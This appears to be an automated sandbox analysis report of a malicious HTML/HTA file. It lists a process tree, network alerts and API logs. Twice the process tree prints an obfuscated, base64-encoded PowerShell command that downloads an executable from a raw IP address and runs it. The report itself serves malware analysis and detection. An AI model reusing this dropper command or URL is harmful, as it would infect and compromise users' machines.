Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 13, 2024, 5:14 p.m.	Aug. 13, 2024, 5:16 p.m.

Size	82.9KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`d44e3d03e9550e66fd5f14eeddbc4274`
SHA256	`244449e74ef406c849ff28afed6e7c681f9879bdcda2a5218da777b7ad4c8046`
CRC32	`22C4D571`
ssdeep	`96:Ea7jQeALkQlALtUDpDEAynzr/cUjj7klQArQVcYF2ALHiQnQT:EaHmLkJLtup4DjjudCLC8QT`
Yara	Antivirus - Contains references to security software

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\ieexplore.hta.html
2172
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2172 CREDAT:145409
  2252
  - cmd.exe "C:\Windows\system32\cmd.exe" "/c powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"
    1968
    - powershell.exe powErShElL.exE -eX bypasS -NOp -w 1 -C DeVicEcreDenTiALDEpLoymeNT.EXe ; IeX($(iEx('[SYsTeM.TeXT.enCodING]'+[chAr]58+[cHAr]0X3A+'uTF8.gEtSTRInG([syStEm.coNVErT]'+[cHaR]58+[Char]58+'FROMBASe64StRInG('+[chAR]0X22+'JEd4TyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRU1CRXJkZUZJbml0aW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVdk1hTHlrWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlzVHosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZZ0dHVmYsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd3RwQXNhdCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15VEZlbWNaQ3QpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWhQQ3pCdkl5T3QiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRVNwQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIVHZkeUxpZkppUiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEd4Tzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xMzgvMzIvc2Fob3N0LmV4ZSIsIiRlTnY6QVBQREFUQVxzYWhvc3QuZXhlIiwwLDApO3NUYXJULXNsRUVQKDMpO1NUYXJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOdjpBUFBEQVRBXHNhaG9zdC5leGUi'+[CHaR]0x22+'))')))"
      2132
      - csc.exe "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\kh2-la8c.cmdline"
        2184
        
        cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RES3F81.tmp" "c:\Users\test22\AppData\Local\Temp\CSC3F12.tmp"
        1692

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
117.18.232.200	Active	Moloch
164.124.101.2	Active	Moloch
192.3.176.138	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49181 -> 192.3.176.138:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.102:49182 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49183 -> 117.18.232.200:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 117.18.232.200:443 -> 192.168.56.102:49184	2029340	ET INFO TLS Handshake Failure	Potentially Bad Traffic
TCP 192.3.176.138:80 -> 192.168.56.102:49181	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.3.176.138:80 -> 192.168.56.102:49181	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW Aug. 13, 2024, 5:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 13, 2024, 5:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 13, 2024, 5:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 13, 2024, 5:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Aug. 13, 2024, 5:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Aug. 13, 2024, 5:08 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 13, 2024, 5:08 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 90 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f71c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2790 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f25d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f25d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2640 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2800 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2800 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2800 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f72a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f72a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f72a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7070 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2f70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2f70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2f70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f30c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f30c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2950 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f2950 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f30c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f30c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5f30c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5d8e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b5d8e70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f7230 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b61cea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b61cea0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b61d300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b61d300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f6f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f6f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f6f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001f6f90 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002a7c20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002ae530 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002c5050 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Aug. 13, 2024, 5:15 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002c5050 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 13, 2024, 5:08 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Aug. 13, 2024, 5:08 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefda5a49d registers.r14: 0 registers.r15: 0 registers.rcx: 101901536 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 101907488 registers.r11: 101903296 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1898936729 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Aug. 13, 2024, 5:08 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefda5a49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefddc73c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0043bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdde5295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdde2799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefde8af1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefde8b76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdde48d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe130883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe130ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe130c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefdfea4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefdffd551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe13347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe13122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe133542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefdffd42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefdffd1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x76ba9bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x76ba98da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefdffd0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe123e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefdfd0106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefdfd0182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x7718652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x772bc521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefda5a49d
registers.r14: 0
registers.r15: 0
registers.rcx: 101901536
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 101907488
registers.r11: 101903296
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1898936729
registers.r13: 0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://192.3.176.138/32/sahost.exe

Performs some HTTP requests (2 events)

request	GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml
request	GET http://192.3.176.138/32/sahost.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 248 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 region_size: 5181440 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000028f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002de0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Aug. 13, 2024, 5:07 p.m.	process_identifier: 2172 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
